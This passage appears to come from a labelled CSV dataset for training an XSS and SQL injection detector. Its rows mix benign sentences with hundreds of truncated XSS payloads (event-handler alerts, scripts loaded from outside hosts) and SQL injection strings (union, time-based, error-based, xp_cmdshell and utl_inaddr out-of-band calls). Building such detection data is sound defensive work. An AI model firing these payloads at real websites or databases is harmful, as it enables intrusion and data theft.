onmouseup=""alert(1)"">test</cite>",1,XSS,3611457"1 ) ) and updatexml ( 3393,concat ( 0x2e,0x7171706",2,SQLi,12839458"1"" ) ) ) union all select null,null,null,null,null",2,SQLi,16600459"javascript:alert()//'//""//`//></a></option></selec",1,XSS,9529460Tinder Select has been around for almost six month,0,normal,25284461"-1064' or make_set ( 6439 = 2937,2937 ) and 'qojd'",2,SQLi,121284621 rlike ( select * from ( select ( sleep ( 5 ) ) ),2,SQLi,18623463<area id=x tabindex=1 onbeforeactivate=alert(1)></,1,XSS,4612464"<style>@keyframes x{}</style><rp style=""animation-",1,XSS,85214651'|| ( select 'adoe' from dual where 7662 = 7662,2,SQLi,15484466"<a href=""javas\x0Bcript:javascript:alert(1)"" id=""f",1,XSS,439467<cite onpointerout=alert(1)>XSS</cite>,1,XSS,5293468"1%"" ) ) and exp ( ~ ( select * from ( select conca",2,SQLi,15667469<button onRowsEnter=javascript:alert(1)>,1,XSS,9662470Where's the desert?,0,normal,23520471"<nobr oncontextmenu=""alert(1)"">test</nobr>",1,XSS,2067472Find and select a TV show or movie to play. 3.,0,normal,26195473",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20d",2,SQLi,10905474You can also save $50 on select Fire HD 8 Tablet.,0,normal,25102475"-3756' ) union all select 1034,1034,1034--",2,SQLi,13660476""" Look for ""The New York Times"" and select ""Enable",0,normal,26475477Select dish.,0,normal,24534478Pete Najarian was a buyer of the Financial Select ,0,normal,25780479"-6760 or 1570 = convert ( int, ( select char ( 113",2,SQLi,22461480<nextid onpointerdown=alert(1)>XSS</nextid>,1,XSS,4206481<button onKeyPress=javascript:alert(1)>,1,XSS,9623482"<colgroup onbeforecopy=""alert(1)"" contenteditable>",1,XSS,3620483I'll select my groomsmen's attire.,0,normal,24414484<style>:target {transform: rotate(180deg);}</style,1,XSS,4222485"-1258"" ) ) union all select 7734,7734,7734#",2,SQLi,21769486Select hatch.,0,normal,247504871 ) or sleep ( __TIME__ ) #,2,SQLi,11490488select ( case when ( 6287 = 8341 ) then 6287 else ,2,SQLi,21976489<style>:target {transform: rotate(180deg);}</style,1,XSS,8731490"UNION ALL SELECT 1,2,3,4,5,6,7,8",2,SQLi,10510491Let's choose a destination for our next trip.,0,normal,23848492<button onpointerleave=alert(1)>XSS</button>,1,XSS,8135493"1' ) ) and elt ( 1210 = 1210,sleep ( 5 ) ) and ( (",2,SQLi,21914494Where's the concert?,0,normal,23581495"<style>:target {color:red;}</style><s id=x style=""",1,XSS,47734961'+ ( select gblp where 6768 = 6768,2,SQLi,18820497\xE2\x81\x9Fjavascript:javascript:confirm(1),1,XSS,94834981' ) ) ) and ( select 2* ( if ( ( select * from ( ,2,SQLi,19416499"{""id"":null,""name"":""Gastly""}",0,normal,27559500"<div draggable=""true"" contenteditable>drag me</div",1,XSS,5751501"1"" ) and sleep ( 5 ) and ( ""ytof"" = ""ytof",2,SQLi,15550502"<div draggable=""true"" contenteditable>drag me</div",1,XSS,4293503Select your succeed.,0,normal,25008504"<nav onmouseleave=""alert(1)"">test</nav>",1,XSS,3025505"UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMA",2,SQLi,106575061' in boolean mode ) ( select ( case when ( 5451 =,2,SQLi,17193507"<SCRIPT a="">'>"" SRC=""httx://xss.rocks/xss.js""></SC",1,XSS,309508<summary id=x tabindex=1 onbeforedeactivate=alert(,1,XSS,4848509; if is_srvrolemember('sysadmin') > 0 waitfor dela,2,SQLi,11137510Guys are seriously starting to understand that the,0,normal,26498511"UNION ALL SELECT 1,2,3,4#",2,SQLi,10536512"1"" and 6510 = ( select count ( * ) from sysusers a",2,SQLi,13329513all,0,normal,231815141' ) ) ) and 4069 = 8786 and ( ( ( 'eftr' = 'eftr,2,SQLi,20336515<time onpointerout=alert(1)>XSS</time>,1,XSS,5115516"-1550' in boolean mode ) union all select 9777,977",2,SQLi,19647517"<A HREF=""http://ha.ckers.org@google""></A>",1,XSS,17735181' ) and 5556 = ( select count ( * ) from all_user,2,SQLi,13184519Select the correct answer from the options.,0,normal,24044520"1"" ) or 4411 = ( select count ( * ) from sysusers ",2,SQLi,14974521Search records where valid.,0,normal,23311522"<script src=""#"">{alert(1)}</script>;1",1,XSS,1125523"select * from users where id = 1 or "".,"" or 1 = 1 ",2,SQLi,11498524"<nav onbeforecut=""alert(1)"" contenteditable>test</",1,XSS,6890525"1%"" union all select null,null,null,null,null,null",2,SQLi,131445261' ) where 3588 = 3588,2,SQLi,18079527Filter the spam folder.,0,normal,22715528<xss onpointerleave=alert(1) style=display:block>X,1,XSS,89529"<form draggable=""true"" ondragend=""alert(1)"">test</",1,XSS,1872530Can you help me decide where to take a hike?,0,normal,23725531"<?a foo=x=`y><img alt=""`><img src=xx:x onerror=ale",1,XSS,9041532"<IMG SRC=x onended=""alert(String.fromCharCode(88,8",1,XSS,1224533"1 ) ) and row ( 6237,7469 ) > ( select count ( * )",2,SQLi,18732534-7772' ) ) or 9323 = 9323#,2,SQLi,16753535"-8205' or elt ( 6581 = 3480,3480 ) and 'sosv' = 's",2,SQLi,21937536"<;DIV STYLE="";background-image:\0075\0072\006C\002",1,XSS,1637537Let's decide where to go for a weekend adventure.,0,normal,23683538"1"" and ( 3020 = 3020 ) *6703 and ""tnzp"" like ""tnzp",2,SQLi,19687539"<div STYLE=""width: expression(document.vulnerable=",1,XSS,1506540<listing onpointerover=alert(1)>XSS</listing>,1,XSS,2529541"1%"" and 4595 = 4595#",2,SQLi,15920542-2783%' ) ) or 4144 = ( select upper ( xmltype ( c,2,SQLi,21336543"{""id"":null,""firstName"":""Catherine"",""lastName"":""Hie",0,normal,26790544<dfn onblur=alert(1) tabindex=1 id=x></dfn><input ,1,XSS,20365451' ) as ohnu where 4097 = 4097 union all select nu,2,SQLi,20235546"1%"" ) ) order by 1--",2,SQLi,198165471 and char ( 120 ) ||char ( 106 ) ||char ( 117 ) |,2,SQLi,17407548"<listing onbeforepaste=""alert(1)"" contenteditable>",1,XSS,4688549"{""id"":null,""name"":""Venusaur""}",0,normal,27086550select ( case when ( 2783 = 9216 ) then 1 else 278,2,SQLi,181165511'+ ( select 'nmhy' where 2919 = 2919 and 8189 = (,2,SQLi,15173552"<META HTTP-EQUIV=\""refresh\"" CONTENT=\""0;url=da",1,XSS,995553"<style></style\x20<img src=""about:blank"" onerror=j",1,XSS,448554"<rt oncopy=""alert(1)"" contenteditable>test</rt>",1,XSS,79495551,0,normal,26693556"<listing draggable=""true"" ondragleave=""alert(1)"">t",1,XSS,4016557"select * from users where id = 1 or ""? ( "" or 1 = ",2,SQLi,11390558"iif ( 9190 = 5059,1,1/0 )",2,SQLi,12642559"ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,",2,SQLi,10483560Select awe.,0,normal,247315611' where 8945 = 8945 and 6240 = ( 'qqpjq'|| ( sele,2,SQLi,21763562<dialog id=x tabindex=1 ondeactivate=alert(1)></di,1,XSS,6955563"-9740"" ) ) as pxkx where 5305 = 5305 or 1 group by",2,SQLi,205575641'|| ( select 'zxla' from dual where 7634 = 7634 a,2,SQLi,16071565<map onpointerdown=alert(1)>XSS</map>,1,XSS,6424566<bdi id=x tabindex=1 onbeforeactivate=alert(1)></b,1,XSS,5536567"1"" ) ) ) or 8315 = ( select count ( * ) from sysib",2,SQLi,12562568Let's find out where the historical site is.,0,normal,23794569select * from users where id = 1. <@ union select ,2,SQLi,11915570<style onpointerleave=alert(1)>XSS</style>,1,XSS,2416571<slot id=x tabindex=1 onactivate=alert(1)></slot>,1,XSS,7630572Where's the villa?,0,normal,23568573"-3261"" ) ) ) or 5023 = ctxsys.drithsx.sn ( 5023, (",2,SQLi,19636574Select the ideal lighting for your photos.,0,normal,24039575<i id=x tabindex=1 onbeforeactivate=alert(1)></i>,1,XSS,5186576select * from users where id = 1 or \+<\ union sel,2,SQLi,11835577<noscript onpointerenter=alert(1)>XSS</noscript>,1,XSS,50305781'|| ( select 'wgte' from dual where 6316 = 6316 a,2,SQLi,16471579The males appear to compete with each other in the,0,normal,25412580<command id=x tabindex=1 onbeforeactivate=alert(1),1,XSS,6295581Select your assignment.,0,normal,248515821 where 7932 = 7932 or exp ( ~ ( select * from ( s,2,SQLi,16475583<OBJECT TYPE="text/x-scriptlet" DATA=,1,XSS,1398584"<legend draggable=""true"" ondragstart=""alert(1)"">te",1,XSS,5613585"<fieldset draggable=""true"" ondragleave=""alert(1)"">",1,XSS,8298586<tbody onpointerleave=alert(1)>XSS</tbody>,1,XSS,2643587-7378' or 6872 = 6872 and 'bnmn' like 'bnmn,2,SQLi,19528588"-4223' ) ) ) union all select 7913,7913,7913,7913,",2,SQLi,203065891 ) ) as xovu where 4530 = 4530 or 4411 = ( select,2,SQLi,18360590Where's the best place to capture memories?,0,normal,23857591"<style>@keyframes x{}</style><marquee style=""anima",1,XSS,86185921 ) ) ) or char ( 119 ) ||char ( 100 ) ||char ( 99,2,SQLi,12506593"1"" ) ) ) and 3715 in ( ( char ( 113 ) +char ( 113 ",2,SQLi,14669594A Select Committee of the House of Commons had rec,0,normal,26422595"1, ( select ( case when ( 7616 = 7616 ) then 1 els",2,SQLi,12809596<svg><nextid onload=alert(1)></nextid>,1,XSS,7867597"<div draggable=""true"" contenteditable>drag me</div",1,XSS,6184598"1"" ) and 8677 = 9054#",2,SQLi,19124599"1 or ( select 9173 from ( select count ( * ) ,conc",2,SQLi,19017600<style>@keyframes x{from {left:0;}to {left: 1000px,1,XSS,5704601"<script/src=data:,alert()>",1,XSS,1149602"Williams-Sonoma: Up to 60% off select cutlery, up ",0,normal,251166031'+ ( select lqhd where 4251 = 4251 and ( 8754 = 5,2,SQLi,16088604"1"" procedure analyse ( extractvalue ( 5840,concat ",2,SQLi,21231605"<iframe onmouseup=""alert(1)"">test</iframe>",1,XSS,7755606"{""id"":null,""firstName"":""Ddaania"",""lastName"":""Lisa""",0,normal,26963607") AND 1337=BENCHMARK(5000000,MD5(0x774c5341))-- 13",2,SQLi,11290608Select a nice steady tempo; there is plenty of tim,0,normal,25657609Select the three dots at the top of the screen aga,0,normal,25578610"-5548' where 4477 = 4477 union all select 4477,447",2,SQLi,15668611"elt ( 2427 = 2427,5518 )",2,SQLi,190166121' or 8421 = ( select count ( * ) from generate_se,2,SQLi,127646131 and ( 5369 = 8325 ) *8325# psze,2,SQLi,18352614"1' ) ) ) or updatexml ( 1808,concat ( 0x2e,0x71717",2,SQLi,1724761528 release in select U.S.,0,normal,26442616"-8791"" ) ) ) or make_set ( 6681 = 6620,6620 ) and ",2,SQLi,12396617<canvas id=x tabindex=1 onbeforedeactivate=alert(1,1,XSS,38896181 ) ) as xcsm where 9231 = 9231,2,SQLi,20509619<basefont onblur=alert(1) tabindex=1 id=x></basefo,1,XSS,4692620<col onpointerup=alert(1)>XSS</col>,1,XSS,8050621<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPA,1,XSS,9764622declare @q nvarchar (200) select @q = 0x7700610069,2,SQLi,10189623<rtc onpointerenter=alert(1)>XSS</rtc>,1,XSS,5661624<bdi id=x tabindex=1 onfocusin=alert(1)></bdi>,1,XSS,7118625select * from users where id = '1' or $<\ or 1 = 1,2,SQLi,120006261 ) ) and 3580 = ( select count ( * ) from domain.,2,SQLi,16797627"1%"" or 8421 = ( select count ( * ) from generate_s",2,SQLi,15733628"`>ABC<div style=""font-family:'foo'\x3Bx:expression",1,XSS,8955629<dialog id=x tabindex=1 onfocusin=alert(1)></dialo,1,XSS,8412630"<q onclick=""alert(1)"">test</q>",1,XSS,2960631"Click ""Check for updates"" and select the update if",0,normal,26283632Select a travel destination for an adventure.,0,normal,24240633<figure id=x tabindex=1 onbeforeactivate=alert(1)>,1,XSS,5205634Select your mark.,0,normal,24896635<figcaption id=x tabindex=1 onbeforedeactivate=ale,1,XSS,7252636"feed:data:text/html,<script>alert('Top Page L",1,XSS,9378637"1' ) ) and 4241 = convert ( int, ( select char ( 1",2,SQLi,16567638Select a coffee blend to enjoy.,0,normal,242426391 and 9412 = 6877#,2,SQLi,14894640"<label onmouseover=""alert(1)"">test</label>",1,XSS,7612641"-1617%"" or 2724 in ( ( char ( 113 ) +char ( 113 ) ",2,SQLi,12762642Where did you find that fantastic recipe?,0,normal,23893643Select from 30 different games by scrolling throug,0,normal,25629644Where's your SQL job?,0,normal,23426645Sort the tangled wires on your desk.,0,normal,22967646Select deliver.,0,normal,24700647or 1=1#,2,SQLi,99736481%' ) ) union all select null#,2,SQLi,157406491 and sleep ( 5 ),2,SQLi,21915650Where's the database hosted?,0,normal,23383651select * from users where id = '1' union select +\,2,SQLi,11856652"<html oncontextmenu=""alert(1)"">test</html>",1,XSS,38606531' ) as myxr where 6299 = 6299 and char ( 111 ) ||,2,SQLi,20505654"<bgsound draggable=""true"" ondragend=""alert(1)"">tes",1,XSS,63436551%' ) ) and ( 8853 = 9924 ) *9924 and ( ( '%' = ',2,SQLi,17015656"{""id"":null,""name"":""buy""}",0,normal,27016657<svg><del onload=alert(1)></del>,1,XSS,2779658"make_set ( 6174 = 9734,1 )",2,SQLi,17717659like,0,normal,231346601) AND 1337=(SELECT 1337 FROM PG_SLEEP(5)) AND (13,2,SQLi,113386611 or 4240 = ( select 4240 from pg_sleep ( 5 ) ) --,2,SQLi,16447662<button onAfterPrint=javascript:alert(1)>,1,XSS,9577663Select a color palette for the artwork.,0,normal,24231664"<style>@keyframes slidein {}</style><sub style=""an",1,XSS,2252665Save up to 25% on select grills and pool supplies,0,normal,25724666"<div draggable=""true"" contenteditable>drag me</div",1,XSS,23216671' and 3580 = ( select count ( * ) from domain.dom,2,SQLi,18640668"<dd oncut=""alert(1)"" contenteditable>test</dd>",1,XSS,8061669"<keygen onmouseleave=""alert(1)"">test</keygen>",1,XSS,1878670<<SCRIPT>alert(âXSSâ);//<</SCRIPT>,1,XSS,9376711' and exp ( ~ ( select * from ( select concat ( 0,2,SQLi,12251672"1"" ) ) as etap where 8506 = 8506 union all select ",2,SQLi,21143673"{""id"":null,""firstName"":""Shirlyn"",""lastName"":""Fang""",0,normal,26898674"<noscript onbeforecut=""alert(1)"" contenteditable>t",1,XSS,8376675"{""id"":null,""name"":""Boldore""}",0,normal,27448676Select execute.,0,normal,24751677"<label draggable=""true"" ondragend=""alert(1)"">test<",1,XSS,8935678-2432' ) ) or ( 8459 = 8459 ) *4906 and ( ( 'ejhp',2,SQLi,15553679-8447 where 2850 = 2850 or 7147 = 3262,2,SQLi,18525680"1"" ) as ebvt where 5305 = 5305",2,SQLi,19900681<svg><dfn onload=alert(1)></dfn>,1,XSS,7703682"-9135"" ) ) or 6872 = 6872 and ( ( ""fllx"" = ""fllx",2,SQLi,12381683"1"" ) ) as svim where 4924 = 4924 and 7932 = 5870",2,SQLi,20640684"<optgroup onkeypress=""alert(1)"" contenteditable>te",1,XSS,7278685"1 union all select null,null,null,null,null--",2,SQLi,14764686"When you download the app, you can select your gen",0,normal,25149687I want to choose a movie for movie night.,0,normal,23753688Select the perfect location.,0,normal,24322689<dir onfocusout=alert(1) tabindex=1 id=x></dir><in,1,XSS,5320690"<data draggable=""true"" ondragleave=""alert(1)"">test",1,XSS,56886911'||'asd'||',2,SQLi,22520692<blockquote onpointerdown=alert(1)>XSS</blockquote,1,XSS,7783693"<thead draggable=""true"" ondragenter=""alert(1)"">tes",1,XSS,30406941 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))YYYY)# 1,2,SQLi,11180695<hr id=x tabindex=1 onfocus=alert(1)></hr>,1,XSS,2336696"1' ) or ( select 9173 from ( select count ( * ) ,c",2,SQLi,21885697))) waitfor delay '0:0:20' /*,2,SQLi,22493698"<script src=1 href=1 onerror=""javascript:alert(1)""",1,XSS,368699"<button onbeforecopy=""alert(1)"" contenteditable>te",1,XSS,79527001'+ ( select qtyi where 7147 = 7147,2,SQLi,12988701"-6122"" ) union all select 6578,6578--",2,SQLi,14588702"{""id"":null,""firstName"":""Lalyn"",""lastName"":""Astorga",0,normal,27102703"1%' ) ) ) union all select null,null,null,null,nul",2,SQLi,211957041%' ) ) order by 1#,2,SQLi,17093705<svg><command onload=alert(1)></command>,1,XSS,8199706"-3872%"" ) ) ) union all select 1637,1637,1637,1637",2,SQLi,18332707"<img\x32src=x onerror=""javascript:alert(1)"">",1,XSS,659708"1"" ) and 2853 = cast ( ( chr ( 113 ) ||chr ( 113 )",2,SQLi,205247091'+ ( select qdon where 9453 = 9453,2,SQLi,12741710"1"" procedure analyse ( extractvalue ( 5840,concat ",2,SQLi,129317111,0,normal,26744712"<keygen oncut=""alert(1)"" contenteditable>test</key",1,XSS,6922713"<style oncontextmenu=""alert(1)"">test</style>",1,XSS,8903714"<kbd onbeforecopy=""alert(1)"" contenteditable>test<",1,XSS,8544715javascript:alert()//\ /*<svg/onload=';alert();'></,1,XSS,9530716<button onMouseWheel=javascript:alert(1)>,1,XSS,96387171' where 6147 = 6147 ( select ( case when ( 4587 =,2,SQLi,14937718"<menu oncopy=""alert(1)"" contenteditable>test</menu",1,XSS,8062719<style>:target {color: red;}</style><isindex id=x ,1,XSS,3827720Filter results where necessary.,0,normal,23441721"-7731"" ) ) or make_set ( 2551 = 4389,4389 ) and ( ",2,SQLi,145617221%' ) ) rlike sleep ( 5 ) and ( ( '%' = ',2,SQLi,15463723Select this song.,0,normal,24801724<big onpointerenter=alert(1)>XSS</big>,1,XSS,8452725<blink id=x tabindex=1 onbeforeactivate=alert(1)><,1,XSS,69867261'|| ( select 'ucxp' where 6612 = 6612 order by 1-,2,SQLi,16432727"<strong oncontextmenu=""alert(1)"">test</strong>",1,XSS,8132728Where's the table stored?,0,normal,23388729"<source onclick=""alert(1)"">test</source>",1,XSS,44087301 ) or exp ( ~ ( select * from ( select concat ( 0,2,SQLi,21531731Insert the memory card.,0,normal,22630732"ABC<div style=""x:\xE3\x80\x80expression(javascript",1,XSS,4697331 ) ) and 8635 = ( select count ( * ) from generat,2,SQLi,18788734"<;IMG SRC="";http://www.thesiteyouareon.com/somecom",1,XSS,1597735"<IMG DYNSRC=""javascript:javascript:alert(1)"">",1,XSS,747736"{""id"":null,""firstName"":""Jey"",""lastName"":""Wood"",""sp",0,normal,27467737"{""id"":null,""name"":""happily""}",0,normal,26771738"<script>with(document.getElementById(""d""))innerHTM",1,XSS,9298739"Select Part Finder, which has a screw as its icon.",0,normal,256157401 ) ) as hrks where 7637 = 7637 or elt ( 6272 = 62,2,SQLi,18697741"{""id"":null,""name"":""Arceus""}",0,normal,27227742"1%"" ) ) ) waitfor delay '0:0:5'--",2,SQLi,21310743"<details oncut=""alert(1)"" contenteditable>test</de",1,XSS,4986744"<html onpaste=""alert(1)"" contenteditable>test</htm",1,XSS,3461745select ( case when ( 7096 = 2568 ) then 7096 else ,2,SQLi,14338746You should select carefully.,0,normal,24467747The president can select appointees who align in t,0,normal,25393748"select * from generate_series ( 7237,7237,case whe",2,SQLi,17366749select,0,normal,265717501%' or 7427 = dbms_pipe.receive_message ( chr ( 11,2,SQLi,20745751"1', ( cast ( ( chr ( 113 ) ||chr ( 113 ) ||chr ( 1",2,SQLi,221057521' where 2661 = 2661,2,SQLi,22203753Select shock.,0,normal,24730754"{""id"":null,""firstName"":""Mona"",""lastName"":""Lim"",""ad",0,normal,27293755"<a href=""\x10javascript:javascript:alert(1)"" id=""f",1,XSS,504756<style>:target {color:red;}</style><noframes id=x ,1,XSS,6005757"<script src=""data:,alert(1)//",1,XSS,9255758select ( case when ( 1868 = 5071 ) then 1 else 186,2,SQLi,18786759Modify code.,0,normal,23083760"<colgroup onbeforepaste=""alert(1)"" contenteditable",1,XSS,7171761"<b ondblclick=""alert(1)"">test</b>",1,XSS,52287621 or 4411 = ( select count ( * ) from sysusers as ,2,SQLi,17438763select sleep ( 5 ) and ( ( ( 'etzb' = 'etzb,2,SQLi,21050764"-4329' ) union all select 1353,1353,1353,1353,1353",2,SQLi,21485765<select id=x tabindex=1 onbeforedeactivate=alert(1,1,XSS,8327766ORDER BY 15,2,SQLi,103197671' ) as kqbh where 6138 = 6138,2,SQLi,22255768hi' or 'a' = 'a,2,SQLi,12027769"<div draggable=""true"" contenteditable>drag me</div",1,XSS,8354770"1' ) ) ) and 2388 = benchmark ( 5000000,md5 ( 0x6d",2,SQLi,12804771<style>@keyframes x{from {left:0;}to {left: 1000px,1,XSS,3168772"Inspired by Le Select in Paris, The Select in Sand",0,normal,25986773Let's choose a venue for the party.,0,normal,23958774AND 1=utl_inaddr.get_host_address((SELECT DISTINCT,2,SQLi,11089775The following is a select list of genera of miscel,0,normal,25442776"<picture><source srcset=""validimage.png""><img onlo",1,XSS,5754777-3566%' or 2158 = 6289,2,SQLi,202467781'+ ( select xwcl where 7997 = 7997,2,SQLi,17494779<STYLE>@import'http://xss.rocks/xss.css';</STYLE>,1,XSS,2757801 ) as fnpq where 5209 = 5209,2,SQLi,15981781") AND =BENCHMARK(5000000,MD5(0x774c5341))--",2,SQLi,11289782"1', ( select ( case when ( 5249 = 9648 ) then 1 el",2,SQLi,18114783"select * from users where id = 1 or ""?_"" or 1 = 1 ",2,SQLi,11918784"<tr onkeydown=""alert(1)"" contenteditable>test</tr>",1,XSS,6550785select ( case when ( 9030 = 6952 ) then 1 else 903,2,SQLi,19485786You can move the joystick to the left to select th,0,normal,25091787"<div draggable=""true"" contenteditable>drag me</div",1,XSS,2756788<SCRIPT SRC=http://ha.ckers.org/xss.js,1,XSS,1446789select ( case when ( 1812 = 2446 ) then 1812 else ,2,SQLi,171587901 where 9932 = 9932,2,SQLi,22428791"Now, select salad.",0,normal,24787792"1%' union all select null,null,null,null,null#",2,SQLi,13221793<b id=x tabindex=1 onbeforeactivate=alert(1)></b>,1,XSS,3736794Select aid.,0,normal,247367951'+ ( select qydm where 6019 = 6019,2,SQLi,14981796"1"" or 8421 = ( select count ( * ) from generate_se",2,SQLi,13241797select * from users where id = '1' *$ 1 or 1 = 1 -,2,SQLi,117687981 ) where 5012 = 5012 ( select ( case when ( 4587 ,2,SQLi,133887991 or 7552 = ( select count ( * ) from rdb$fields a,2,SQLi,18223800<script src=%(jscript)s></script>,1,XSS,7308011' ) ) and ( 3020 = 3020 ) *6703 and ( ( 'pfal' = ,2,SQLi,197758021%' ) ) and 5556 = ( select count ( * ) from all_u,2,SQLi,19661803"<script>Object.prototype.url = ['data:,alert(1)//'",1,XSS,218804Select the best solution.,0,normal,24273805"{""id"":null,""firstName"":""Shook Mei"",""lastName"":""Yan",0,normal,27570806"( select count ( * ) from domain.domains as t1,dom",2,SQLi,14778807"1 where 4331 = 4331 union all select null,null,nul",2,SQLi,178398081' and 1661 = 1244 and 'dcha' = 'dcha,2,SQLi,15215809"-6561"" ) ) ) or 6872 = 6872 and ( ( ( ""azqp"" like ",2,SQLi,12695810"<;A HREF="";http://0x42.0x0000066.0x7.0x93/"";>;XSS<",1,XSS,1670811<style>:target {color:red;}</style><figcaption id=,1,XSS,3596812Select your squad.,0,normal,24866813"select count ( * ) from rdb$fields as t1,rdb$types",2,SQLi,14130814"<footer onmouseout=""alert(1)"">test</footer>",1,XSS,4969815"{""id"":7493,""name"":""for jmeter test to work <DO NOT",0,normal,26804816<col onblur=alert(1) tabindex=1 id=x></col><input ,1,XSS,3749817<style>:target {color: red;}</style><nobr id=x sty,1,XSS,3991818"-4849"" ) ) or ( 5005 = 9111 ) *9111 and ( ( ""catv""",2,SQLi,20318819"1"" ) as mohv where 2171 = 2171 or ( select * from ",2,SQLi,18857820"<XML ID=""xss""><I><B><IMG SRC=""javas<!-- -->crip",1,XSS,9761821"<style>@keyframes x{}</style><figure style=""animat",1,XSS,3890822"<content draggable=""true"" ondragstart=""alert(1)"">t",1,XSS,5790823except,0,normal,23186824"-3505"" ) or 5290 = 3436--",2,SQLi,21206825Where's the lake?,0,normal,23517826</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>,1,XSS,1574827"1 where 8949 = 8949 and make_set ( 8403 = 8403,889",2,SQLi,19847828<i id=x tabindex=1 ondeactivate=alert(1)></i><inpu,1,XSS,19498291'|| ( select 'vpuh' where 8164 = 8164,2,SQLi,20158830Select your event.,0,normal,24925831"<select draggable=""true"" ondragstart=""alert(1)"">te",1,XSS,4173832"ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,",2,SQLi,10464833"<style>@keyframes slidein {}</style><br style=""ani",1,XSS,7036834"<style>@keyframes x{}</style><center style=""animat",1,XSS,8832835Where's the house?,0,normal,235638361'+ ( select 'wpnm' where 8223 = 8223 and 6240 = (,2,SQLi,179218371%' ) ) ) and 5556 = ( select count ( * ) from all,2,SQLi,15700838"1%"" ) ) ) union all select null,null--",2,SQLi,195978391' WAITFOR DELAY '0:0:5' AND '1337'='1337,2,SQLi,113218401' where 4403 = 4403 rlike sleep ( 5 ) #,2,SQLi,20287841"1"" and ( select * from ( select ( sleep ( 5 ) ) ) ",2,SQLi,22052842"1 ) and 2388 = benchmark ( 5000000,md5 ( 0x6d45715",2,SQLi,15762843"<ul onbeforecut=""alert(1)"" contenteditable>test</u",1,XSS,2224844t'exec master..xp_cmdshell 'nslookup www.google.co,2,SQLi,10195845"-5026' where 7324 = 7324 union all select 7324,732",2,SQLi,13170846Select a song to listen to.,0,normal,23988847<bgsound onfocusout=alert(1) tabindex=1 id=x></bgs,1,XSS,8353848"<div style=content:url(data:image/svg+xml,%3Csvg/%",1,XSS,9164849Select burger.,0,normal,24496850"<sub onbeforepaste=""alert(1)"" contenteditable>test",1,XSS,3190851<style>:target {color:red;}</style><abbr id=x styl,1,XSS,8361852select * from users where id = 1 or \+<$ union sel,2,SQLi,115148531' and 6240 = ( 'qqpjq'|| ( select case 6240 when ,2,SQLi,21528854How to select the right startup incubator in 9 ste,0,normal,26075855"-3827"" ) or 8571 = 8571--",2,SQLi,22397856Filter the spam emails.,0,normal,22648857"<a href=""data:text/html;blabla,<scr&",1,XSS,9228581 ) as jqbp where 5407 = 5407 and 4595 = 4595#,2,SQLi,13581859<code id=x tabindex=1 onactivate=alert(1)></code>,1,XSS,3941860Select the perfect wedding invitation.,0,normal,24408861"{""id"":null,""name"":""luck""}",0,normal,27314862( select * from ( select ( sleep ( 5 ) ) ) srmq ) ,2,SQLi,21339863"<template oncontextmenu=""alert(1)"">test</template>",1,XSS,3382864The Select Mini also works with both Mac and Windo,0,normal,25350865admin') or ('1'='1'#,2,SQLi,99168660x730065006c0065006300740020004000400076006500 ...,2,SQLi,10152867"{""id"":null,""firstName"":""Suraya"",""lastName"":""Rasid""",0,normal,274358681' ) ( select ( case when ( 5451 = 5451 ) then reg,2,SQLi,18229869"1"" where 6501 = 6501",2,SQLi,12140870"<image onmouseout=""alert(1)"">test</image>",1,XSS,6068871"ABC<div style=""x:\x0Aexpression(javascript:alert(1",1,XSS,467872"-3933' ) ) ) union all select 6198,6198,6198,6198,",2,SQLi,12409873"<meter onkeypress=""alert(1)"" contenteditable>test<",1,XSS,70908741 ) ) ) and 2006 = 2006,2,SQLi,18900875<set onpointerup=alert(1)>XSS</set>,1,XSS,23078761 where 4245 = 4245,2,SQLi,17369877"<style>@keyframes x{}</style><header style=""animat",1,XSS,3490878"<basefont onmouseout=""alert(1)"">test</basefont>",1,XSS,5890879waitfor delay '0:0:20' /*,2,SQLi,22490880"-6073"" ) ) ) or 9502 = 2012#",2,SQLi,132008811'+ ( select 'hcqf' where 9956 = 9956 and ( 2993 =,2,SQLi,12706882-6144' ) or 9385 = 2474--,2,SQLi,13056883select sleep ( 5 ) -- hlgt,2,SQLi,13633884"<abbr draggable=""true"" ondragstart=""alert(1)"">test",1,XSS,3440885"<center onbeforepaste=""alert(1)"" contenteditable>t",1,XSS,6469886Filter the noise.,0,normal,22806887<body onunload=navigator.sendBeacon('//https://ssl,1,XSS,43888<style>@keyframes slidein {}</style><dialog style=,1,XSS,2030889Why did you select the article and performer you d,0,normal,25125890"-6084"" ) ) union all select 7354,7354,7354,7354,73",2,SQLi,13697891Get 30% off select Pet products with promo code WI,0,normal,26148892<font id=x tabindex=1 onbeforedeactivate=alert(1)>,1,XSS,62218931%' ) ) or char ( 119 ) ||char ( 100 ) ||char ( 99,2,SQLi,15688894-3499' ) ) ) or 2724 in ( ( char ( 113 ) +char ( 1,2,SQLi,194308951 where 5466 = 5466 and 2388 = benchmark ( 5000000,2,SQLi,12104896%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XM,1,XSS,9734897"and (select substring(@@version,2,1))='y'",2,SQLi,10345898<progress id=x tabindex=1 onactivate=alert(1)></pr,1,XSS,4097899"<div draggable=""true"" contenteditable>drag me</div",1,XSS,6772900"-7637"" union all select 8498,8498,8498--",2,SQLi,19934901Select coach.,0,normal,24717902"select * from users where id = 1 or ""@%"" or 1 = 1 ",2,SQLi,11818903I want to select a gift for my cousin's birthday.,0,normal,237579041' ) ) as wkys where 2478 = 2478 and 6055 = ctxsys,2,SQLi,14003905Please select a color scheme.,0,normal,24409906"1%"" ) ) ) union all select null,null,null,null,nul",2,SQLi,173129071' ) as tuhc where 4018 = 4018 or char ( 117 ) ||c,2,SQLi,19580908<,1,XSS,1067909"<Img src = x onerror = ""javascript: window.onerror",1,XSS,6035910<body id=x tabindex=1 onfocusin=alert(1)></body>,1,XSS,6882911"""></title><script>alert(1337)</script>><marquee><h",1,XSS,1350912"-5425 where 5933 = 5933 union all select 5933,5933",2,SQLi,22041913"( select count ( * ) from generate_series ( 1,5000",2,SQLi,22440914"1"" ) ) as thoj where 1577 = 1577 or char ( 75 ) ||",2,SQLi,13914915"<frame oncopy=""alert(1)"" contenteditable>test</fra",1,XSS,6529916"<? foo=""><script>javascript:alert(1)</script>"">",1,XSS,645917"1' ) procedure analyse ( extractvalue ( 